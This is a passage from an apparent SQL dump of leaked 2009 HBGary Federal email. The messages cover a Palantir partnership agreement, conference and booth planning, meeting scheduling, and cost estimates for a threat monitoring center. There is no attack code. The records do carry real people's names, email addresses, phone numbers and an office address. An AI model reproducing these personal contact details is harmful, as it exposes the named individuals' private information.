<aaron@hbgary.com>','/aaron@hbgary.com/new/1297000111.M183592P3547Q841.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir partnership','Here you go.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 7:05 PM, Matthew Steckman wrote:\r\n\r\n> Name change made.  Once signed we should chat about what the integration will look like so your developer has some direction.  Ill bring in Geoff Stowe (who you’ve met) for that discussion.\r\n>  \r\n> Regards,\r\n> Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 28, 2009 5:36 PM\r\n> To: Matthew Steckman\r\n> Subject: Re: Palantir partnership\r\n>  \r\n> Hi Matt,\r\n>  \r\n> Thanks for response.  Looking forward to 2010.  We are good to go.  If you could change HBGary to HBGary Federal (probably no big deal but just to keep things straight), then I will sign and send back.\r\n>  \r\n> As for holidays, so far so good.\r\n>  \r\n> Happy Holidays,\r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Dec 27, 2009, at 1:17 PM, Matthew Steckman  wrote:\r\n> \r\n> Comments inline.  I hope your holidays were great.  Im not quite back in the swing of things but will have email access until I get back on the 3rd. \r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, December 24, 2009 12:03 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Palantir partnership\r\n>  \r\n> Hey Matt,\r\n>  \r\n> Last minute Christmas shopping consumed my day.\r\n>  \r\n> A few questions and I think we are ready.\r\n> 1.      The software licences will allow us to run more than 1 \"copy\" of the Palantir software?  Reason being is our split between Sacramento and Either DC or Colorado Springs.\r\n> \r\n> Absolutely.  You get unlimited test and development licenses to put wherever you want. \r\n> 2.      I know Palantir runs on Oracle.  Will we need to buy an oracle license or will the \"trial\" license work for our purposes?\r\n> \r\n> You got this ¾ correct.  There are three “versions” of Palantir.  One is called a QuickStart which simply runs on your laptop with a small backend supporting about 10,000 objects.  QS are what developers will use when they are writing the integration (it allows for quick iterations on code).  The second version is run on windows using a freely available version of Oracle called Oracle XE (express).  This version is a little more beefy but still runs on one machine supporting about 4 GB worth of objects.  This is probably the only form of Palantir you will need to do larger scale tests.  The third version is basically a mirror of our deployment setup with a linux server backend and full oracle install.  You will not need this build. \r\n>  \r\n> So the short answer is that all three of these versions are available to you through partnership but you will only need the QS and Oracle XE installs.\r\n> 3.      The video.  That is to be developed by HBGary Federal?\r\n> \r\n> Yes, this is a simple video made with something like Camtasia.  Should be like a few hours of work, maybe less.  We need this to send to our clients once the integration is complete and to put up on our website to link to.\r\n>  \r\n> Aaron\r\n>  \r\n>  \r\n> On Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n>  \r\n> \r\n> Aaron,\r\n>  \r\n> Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).  Please return a redlined copy or a signed agreement.  You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.\r\n>  \r\n> Looking forward to working with you guys.\r\n>  \r\n> -Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15072,'aaron_hbgary_com/15072.html'),(842,'2009-12-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000114.M125650P3547Q842.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Blackhat DC','Is HBGary going to have a both here?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5982,'aaron_hbgary_com/5982.html'),(843,'2009-12-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000114.M372832P3547Q843.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>','Re: Palantir partnership','Penny,Can you refresh my memory on our Conferences discussion? &nbsp;There were a few conferences you were talking about that were more immediate. &nbsp;I think one was the National Space Symposium in Colorado Springs in April? &nbsp;I was a panelist at this event a few years ago. &nbsp;Good Air Force exposure, but mostly focused on space things. &nbsp;While Space people talk about the cybersecurity play in space its really a very big stretch.What conferences does HBGary normally attend every year?AaronOn Dec 22, 2009, at 3:31 PM, Penny Hoglund wrote:OK, what works for you?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 11:23 AMTo:&nbsp;Penny HoglundCc:&nbsp;Greg Hoglund; Ted VeraSubject:&nbsp;Re: Palantir partnership&nbsp;Ok that\'s what I want to talk about. &nbsp;Can we set up a teleconference?&nbsp;AaronFrom my iPhoneOn Dec 22, 2009, at 1:15 PM, \" Penny Hoglund\" &lt;penny@hbgary.com&gt; wrote:Not necessarily, they are integrating with HBGary, not HBGary Federal since we are having to do integration.&nbsp; HBGary Federal will sell that integration and use it but if is effects the software it should be under HBGary&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 7:25 AMTo:&nbsp;Greg Hoglund; Penny LeavyCc:&nbsp;Ted VeraSubject:&nbsp;Fwd: Palantir partnership&nbsp;FYI. &nbsp;Partnership agreement with Palantir. &nbsp;First glaring correction is to change HBGary to HBGary Federal. &nbsp;Reviewing the rest now.&nbsp;Aaron&nbsp;Begin forwarded message:&nbsp;From:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date:&nbsp;December 21, 2009 6:01:57 PM ESTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Palantir partnership&nbsp;Aaron,&nbsp;Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.&nbsp;Looking forward to working with you guys.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',352,'aaron_hbgary_com/352.html'),(844,'2009-12-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000114.M568474P3547Q844.eml','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','Re: Canceled: Meeting w/HB Gary','Hi Mike,Trying to get my calendar settled for the beginning of the new year. &nbsp;Did we decide on Jan. 7th to meet?Happy Holidays,AaronOn Dec 16, 2009, at 3:54 PM, Fox, Michael (mfox04) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, December 17, 2009 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 6701 Democracy Blvd, Suite #300, Bethesda, MD 20817\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDirections Below:\r\n&nbsp;\r\nHB Gary\r\n6701 Democracy Blvd, Suite #300\r\nBethesda, MD 20817\r\n(301) 652-8885 x117\r\n&nbsp;\r\n&nbsp;\r\nStart at: 14900 Conference Center Dr Chantilly, VA 20151\r\n&nbsp;\r\n1. Head north on Parkstone Dr toward Conference Center Dr - 318&nbsp;ft 2. Take the 1st right onto Conference Center Dr - 0.4&nbsp;mi 3. Slight right toward Stonecroft Blvd - 207&nbsp;ft 4. Continue straight onto Stonecroft Blvd\r\n- 0.5&nbsp;mi 5. Slight left to stay on Stonecroft Blvd - 253&nbsp;ft 6. Turn left at Westfields Blvd - 443&nbsp;ft 7. Merge onto Sully Rd/VA-28 S via the ramp to I-66/Centreville - 2.1&nbsp;mi 8. Turn left to merge onto I-66 E - 11.7&nbsp;mi 9. Take the exit on the left toward I-66/Washington\r\n- 0.2&nbsp;mi 10. Slight left at I-495 N&nbsp; Entering Maryland - 10.1&nbsp;mi 11. Slight left at I-270 Spur N - 0.6&nbsp;mi 12. Take exit 1 for Democracy Blvd - 0.4&nbsp;mi 13. Turn right at Democracy Blvd - 0.1&nbsp;mi 14. Turn left - 171&nbsp;ft\r\n&nbsp;\r\nArrive at: 6701 Democracy Blvd Bethesda, MD 20817\r\n\r\n\r\n\r\nThanks\r\nVickie\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12609,'aaron_hbgary_com/12609.html'),(845,'2009-12-29','mfox04@harris.com','/aaron@hbgary.com/new/1297000114.M776770P3547Q845.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Canceled: Meeting w/HB Gary','I think it was the 7th in the aftn. I\'m still open, what time do you want to do? \r\nMike Fox\r\nCrucial Security Programs\r\nHarris Corporation\r\n703-338-9434\r\n703-961-9456 x142\r\n\r\nSent from my Verizion Wireless Blackberry\r\n',4962,'aaron_hbgary_com/4962.html'),(846,'2009-12-29','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297000114.M971229P3547Q846.eml','\"Aaron Barr\" <aaron@hbgary.com>','Sandy Forney has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Sandy are now connected.\r\n\r\n \r\n   \r\n   View Sandy\'s profile to:\r\n     \r\n       Download Sandy\'s current contact information\r\n       Write a recommendation for Sandy\r\n       Find opportunities through Sandy\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/11859348/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',10909,'aaron_hbgary_com/10909.html'),(847,'2009-12-29','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000115.M253768P3547Q847.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Blackhat DC','No we haven\'t found the Blackhat conferences too good for leads.  Does NG\r\nhave a booth?  We have trained in the past and that works out well, but\r\ntheir booth costs are really expensive and not really worth the money\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, December 28, 2009 7:59 PM\r\nTo: Greg Hoglund; Penny Leavy\r\nSubject: Blackhat DC\r\n\r\nIs HBGary going to have a both here?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',3760,'aaron_hbgary_com/3760.html'),(848,'2009-12-29','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000115.M522923P3547Q848.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Defending America, CYBERSPACE 2010 Symposium','This was show I was asking about.  With regards to our shows, we are going\r\nto DoD CyberCrime in St Louis, US Gov\'t in DC and CEIC (guidance software\r\nuser conference) in May.  We are also looking at FIRST\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy [mailto:penny@hbgary.com] \r\nSent: Monday, December 21, 2009 2:53 PM\r\nTo: Ted Vera\r\nSubject: Fwd: Defending America, CYBERSPACE 2010 Symposium\r\n\r\nIs this a good show?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Matt O\'Flynn \r\nDate: Mon, Dec 21, 2009 at 6:34 AM\r\nSubject: Defending America, CYBERSPACE 2010 Symposium\r\nTo: Penny Hoglund \r\n\r\n\r\nPenny,\r\n\r\n\r\n\r\nHope you made it home o.k. with the nasty weather that moved in. Below\r\nis a link to a conference coming up in the middle of Jan that I really\r\nshould attend. It will include a number of high level cyber folks\r\nwithin DOD and provide a good setting for me to get our message to\r\nthese folks. As of last Friday, flights were under $300, room is $450\r\nfor three days and conference attendance is $525. Lets discuss when we\r\ncatch up today.\r\n\r\n\r\n\r\nhttp://www.afceacyberspace.com/\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\nMatt O\'Flynn\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n\r\n',16359,'aaron_hbgary_com/16359.html'),(849,'2009-12-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000115.M718842P3547Q849.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>','Re: Defending America, CYBERSPACE 2010 Symposium','Ok.  I am going to plan on attending.  I have other things to do in\r\ncolorado so will work out.  Not sure of it\'s worthwhile for a small.\r\nLooking at the sponsor and exhibitor list seems mostly focused on\r\nlarge contractors, but that could good.  This will be a good year to\r\nscow it out and maybe have an exhibit next year if it seems\r\npromising.  Is matt going?  If so maybe a good opportunity to schedule\r\nsomething or try to catch gen. Lord.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 29, 2009, at 11:00 AM, \" Penny Hoglund\"  wrote:\r\n\r\n> This was show I was asking about.  With regards to our shows, we are\r\n> going\r\n> to DoD CyberCrime in St Louis, US Gov\'t in DC and CEIC (guidance\r\n> software\r\n> user conference) in May.  We are also looking at FIRST\r\n>\r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com]\r\n> Sent: Monday, December 21, 2009 2:53 PM\r\n> To: Ted Vera\r\n> Subject: Fwd: Defending America, CYBERSPACE 2010 Symposium\r\n>\r\n> Is this a good show?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Matt O\'Flynn \r\n> Date: Mon, Dec 21, 2009 at 6:34 AM\r\n> Subject: Defending America, CYBERSPACE 2010 Symposium\r\n> To: Penny Hoglund \r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> Hope you made it home o.k. with the nasty weather that moved in. Below\r\n> is a link to a conference coming up in the middle of Jan that I really\r\n> should attend. It will include a number of high level cyber folks\r\n> within DOD and provide a good setting for me to get our message to\r\n> these folks. As of last Friday, flights were under $300, room is $450\r\n> for three days and conference attendance is $525. Lets discuss when we\r\n> catch up today.\r\n>\r\n>\r\n>\r\n> http://www.afceacyberspace.com/\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Best,\r\n>\r\n>\r\n>\r\n> Matt O\'Flynn\r\n>\r\n> 954-559-6934\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n',12868,'aaron_hbgary_com/12868.html'),(850,'2009-12-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000115.M918806P3547Q850.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Defending America, CYBERSPACE 2010 Symposium','The conferences you have scheduled seem more forensics based.  If the\r\nnew message is incident repsonse and risk/threat intelligence then are\r\nyou thinking about adding a few others?  There is a dhs conference\r\ncoming up I will send u a link to.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 29, 2009, at 11:00 AM, \" Penny Hoglund\"  wrote:\r\n\r\n> This was show I was asking about.  With regards to our shows, we are\r\n> going\r\n> to DoD CyberCrime in St Louis, US Gov\'t in DC and CEIC (guidance\r\n> software\r\n> user conference) in May.  We are also looking at FIRST\r\n>\r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com]\r\n> Sent: Monday, December 21, 2009 2:53 PM\r\n> To: Ted Vera\r\n> Subject: Fwd: Defending America, CYBERSPACE 2010 Symposium\r\n>\r\n> Is this a good show?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Matt O\'Flynn \r\n> Date: Mon, Dec 21, 2009 at 6:34 AM\r\n> Subject: Defending America, CYBERSPACE 2010 Symposium\r\n> To: Penny Hoglund \r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> Hope you made it home o.k. with the nasty weather that moved in. Below\r\n> is a link to a conference coming up in the middle of Jan that I really\r\n> should attend. It will include a number of high level cyber folks\r\n> within DOD and provide a good setting for me to get our message to\r\n> these folks. As of last Friday, flights were under $300, room is $450\r\n> for three days and conference attendance is $525. Lets discuss when we\r\n> catch up today.\r\n>\r\n>\r\n>\r\n> http://www.afceacyberspace.com/\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Best,\r\n>\r\n>\r\n>\r\n> Matt O\'Flynn\r\n>\r\n> 954-559-6934\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n',6314,'aaron_hbgary_com/6314.html'),(851,'2009-12-29','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000116.M211051P3547Q851.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Defending America, CYBERSPACE 2010 Symposium','FIRST is incident Response and CEIC is both security/forensics.  We get a\r\nLOT of leads there, it\'s really amazing.  The US Gov\'t is a first time show,\r\nthought I\'d try it.  DoD CyberCrime is good from an incident response\r\nperspective as well as forensic.  We tried a lot of the security shows, such\r\nas CSI and another one in Orlando (can\'t remember name)  They weren\'t too\r\ngood.  By far the best show for us is CEIC\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 29, 2009 10:10 AM\r\nTo: Penny Hoglund\r\nSubject: Re: Defending America, CYBERSPACE 2010 Symposium\r\n\r\nThe conferences you have scheduled seem more forensics based.  If the\r\nnew message is incident repsonse and risk/threat intelligence then are\r\nyou thinking about adding a few others?  There is a dhs conference\r\ncoming up I will send u a link to.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 29, 2009, at 11:00 AM, \" Penny Hoglund\"  wrote:\r\n\r\n> This was show I was asking about.  With regards to our shows, we are\r\n> going\r\n> to DoD CyberCrime in St Louis, US Gov\'t in DC and CEIC (guidance\r\n> software\r\n> user conference) in May.  We are also looking at FIRST\r\n>\r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com]\r\n> Sent: Monday, December 21, 2009 2:53 PM\r\n> To: Ted Vera\r\n> Subject: Fwd: Defending America, CYBERSPACE 2010 Symposium\r\n>\r\n> Is this a good show?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Matt O\'Flynn \r\n> Date: Mon, Dec 21, 2009 at 6:34 AM\r\n> Subject: Defending America, CYBERSPACE 2010 Symposium\r\n> To: Penny Hoglund \r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> Hope you made it home o.k. with the nasty weather that moved in. Below\r\n> is a link to a conference coming up in the middle of Jan that I really\r\n> should attend. It will include a number of high level cyber folks\r\n> within DOD and provide a good setting for me to get our message to\r\n> these folks. As of last Friday, flights were under $300, room is $450\r\n> for three days and conference attendance is $525. Lets discuss when we\r\n> catch up today.\r\n>\r\n>\r\n>\r\n> http://www.afceacyberspace.com/\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Best,\r\n>\r\n>\r\n>\r\n> Matt O\'Flynn\r\n>\r\n> 954-559-6934\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n\r\n',14874,'aaron_hbgary_com/14874.html'),(852,'2009-12-29','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000116.M407260P3547Q852.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Defending America, CYBERSPACE 2010 Symposium','Yes I think he is going, not sure if he hooked up with Ted.  I don\'t\' know\r\nanything about the show, we are not exhibiting, Matt just said he wanted to\r\ngo so I asked Ted.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 29, 2009 10:02 AM\r\nTo: Penny Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Defending America, CYBERSPACE 2010 Symposium\r\n\r\nOk.  I am going to plan on attending.  I have other things to do in\r\ncolorado so will work out.  Not sure of it\'s worthwhile for a small.\r\nLooking at the sponsor and exhibitor list seems mostly focused on\r\nlarge contractors, but that could good.  This will be a good year to\r\nscow it out and maybe have an exhibit next year if it seems\r\npromising.  Is matt going?  If so maybe a good opportunity to schedule\r\nsomething or try to catch gen. Lord.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 29, 2009, at 11:00 AM, \" Penny Hoglund\"  wrote:\r\n\r\n> This was show I was asking about.  With regards to our shows, we are\r\n> going\r\n> to DoD CyberCrime in St Louis, US Gov\'t in DC and CEIC (guidance\r\n> software\r\n> user conference) in May.  We are also looking at FIRST\r\n>\r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com]\r\n> Sent: Monday, December 21, 2009 2:53 PM\r\n> To: Ted Vera\r\n> Subject: Fwd: Defending America, CYBERSPACE 2010 Symposium\r\n>\r\n> Is this a good show?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Matt O\'Flynn \r\n> Date: Mon, Dec 21, 2009 at 6:34 AM\r\n> Subject: Defending America, CYBERSPACE 2010 Symposium\r\n> To: Penny Hoglund \r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> Hope you made it home o.k. with the nasty weather that moved in. Below\r\n> is a link to a conference coming up in the middle of Jan that I really\r\n> should attend. It will include a number of high level cyber folks\r\n> within DOD and provide a good setting for me to get our message to\r\n> these folks. As of last Friday, flights were under $300, room is $450\r\n> for three days and conference attendance is $525. Lets discuss when we\r\n> catch up today.\r\n>\r\n>\r\n>\r\n> http://www.afceacyberspace.com/\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Best,\r\n>\r\n>\r\n>\r\n> Matt O\'Flynn\r\n>\r\n> 954-559-6934\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n\r\n',15332,'aaron_hbgary_com/15332.html'),(853,'2009-12-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000116.M624977P3547Q853.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Blackhat DC','We have not been pursuing blackhat.  The other federal shows have been much better for us.\r\n \r\n-Greg\r\nOn Mon, Dec 28, 2009 at 7:58 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nIs HBGary going to have a both here?Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',15507,'aaron_hbgary_com/15507.html'),(854,'2009-12-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000119.M987210P3547Q854.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>','Threat Monitoring Center',' \r\nAaron, Ted,\r\n \r\nSee attached slide deck.  I hope this helps conceptualize the first phase of building a threat monitoring capability.\r\n \r\nPalantir uses its own database, as do some other link analysis tools.  While we don&#39;t have to jump in right away, in the medium term all of these databases will need to be integrated somehow.  Even if we only use Palantir, that database still needs to be integrated somehow with the feed processor database.  I think we should keep Palantir&#39;s price in mind, considering that i2 is only $4k and maltego is just over $10k.  The feed processor has quite a bit of raw data - so for ARSTRAT we could use Palantir to consume it all and have Palantir be the single analysis interface - but this will easily pop the 4Gig watermark on the free version of Oracle.  Also, the feed processor is what active defense uses, and the results of the analysis from Palantir should somehow be reflected back to the feed processor database (the classification of attribution domains, for example).  If there is no integration going back to the feed processor database, then customers will have to build their custom genomes in a separate interface outside of palantir, and then palantir will have to reprocess the feed to get the update (janky at best).  This is all technical and we will know alot more once we get a prototype hobbled together.\r\n\r\n \r\nRunning the center on HBGary&#39;s end will be expensive, here is what I expect:\r\n \r\n1) we need 2 full iterations (4 weeks) with most of the dev team - Penny is going to shit (this is huge expensive)\r\n  - this time is needed to fix our feed processor which broke last May for no apparent reason\r\n  - and, designing and integrating the feed to palantir in a way that actually makes sense for the analyst (this part is not expected to be too hard, per what palantir tells us)\r\n  - and, cobbling together a functional processor at HBGary (not the one we use downtown)\r\n  - and, replicating said cobbled functional processor so you guys have one in colorado springs (or wherever you plan on putting it) (would be nice if HBGary got paid for that part of the effort)\r\n \r\n2) one full time analyst, whose primary purpose at HBGary is the ongoing maintenance of the DDNA genome that we sell to customers (penny has already given a thumbs up to the idea, so its pure budget at this point)\r\n\r\n  - who is using said cobbled feed processor to perform most of the analysis\r\n  - and is using the palantir interface, at least at first\r\n  - while this is an HBGary cost, this same feed data is to be supplied to your customer as well (I hope we can monetize that somehow)\r\n \r\n3) finally, we have no hardware - so I expect at least $8K in additional hardware budget to get a farm of machines operating that can chew down a few thousand samples a day\r\n  - this is a lowball figure.  The feed processor downtown (its like a $12k machine) was supposed to do 5000 a day, but I think its just a few hundred a day (no, I don&#39;t know why - we need to pin Alex to the wall on this one)\r\n\r\n \r\n \r\n-Greg\r\n',13189,'aaron_hbgary_com/13189.html'),(855,'2009-12-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000120.M270356P3547Q855.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Blackhat DC','Most of the defense contractors have been absent at Blackhat, including Blackhat DC.  Only defense contractor I see on the Blackhat DC list are SRI and Harris, and that is probably because of the Crucial purchase.  Other sponsors of Blackhat DC are Core Impact, Fortify, Netwitness, Netforensics, Lookingglass, Splunk, RedSeal, StillSecure.\r\n\r\nI agree that blackhats are almost too large and broad to be of that much benefit.  I think the upcoming Colorado Springs Air Force conference and the upcoming AFCEA DHS conference (http://www.afcea.org/events/homeland/10/home.asp), may be worthwhile to have a booth, maybe next go around.  I will check out the other conferences you listed.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 29, 2009, at 11:56 AM, Penny Hoglund wrote:\r\n\r\n> No we haven\'t found the Blackhat conferences too good for leads.  Does NG\r\n> have a booth?  We have trained in the past and that works out well, but\r\n> their booth costs are really expensive and not really worth the money\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 28, 2009 7:59 PM\r\n> To: Greg Hoglund; Penny Leavy\r\n> Subject: Blackhat DC\r\n> \r\n> Is HBGary going to have a both here?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',751,'aaron_hbgary_com/751.html'),(856,'2009-12-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000120.M464284P3547Q856.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: Defending America, CYBERSPACE 2010 Symposium','FYI.\r\n\r\nhttps://www.afceacyberspace.com/exhibitor-registration\r\n\r\nMandiant has a booth at the Colorado Springs conference.  Booth 51.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 29, 2009, at 12:00 PM, Penny Hoglund wrote:\r\n\r\n> This was show I was asking about.  With regards to our shows, we are going\r\n> to DoD CyberCrime in St Louis, US Gov\'t in DC and CEIC (guidance software\r\n> user conference) in May.  We are also looking at FIRST\r\n> \r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com] \r\n> Sent: Monday, December 21, 2009 2:53 PM\r\n> To: Ted Vera\r\n> Subject: Fwd: Defending America, CYBERSPACE 2010 Symposium\r\n> \r\n> Is this a good show?\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From: Matt O\'Flynn \r\n> Date: Mon, Dec 21, 2009 at 6:34 AM\r\n> Subject: Defending America, CYBERSPACE 2010 Symposium\r\n> To: Penny Hoglund \r\n> \r\n> \r\n> Penny,\r\n> \r\n> \r\n> \r\n> Hope you made it home o.k. with the nasty weather that moved in. Below\r\n> is a link to a conference coming up in the middle of Jan that I really\r\n> should attend. It will include a number of high level cyber folks\r\n> within DOD and provide a good setting for me to get our message to\r\n> these folks. As of last Friday, flights were under $300, room is $450\r\n> for three days and conference attendance is $525. Lets discuss when we\r\n> catch up today.\r\n> \r\n> \r\n> \r\n> http://www.afceacyberspace.com/\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Best,\r\n> \r\n> \r\n> \r\n> Matt O\'Flynn\r\n> \r\n> 954-559-6934\r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3411,'aaron_hbgary_com/3411.html'),(857,'2009-12-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000120.M666064P3547Q857.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Blackhat DC','makes sense. &nbsp;The customer specific ones like AirForce or DHS, or subject specific, such as forensics, cybercrime, etc. I 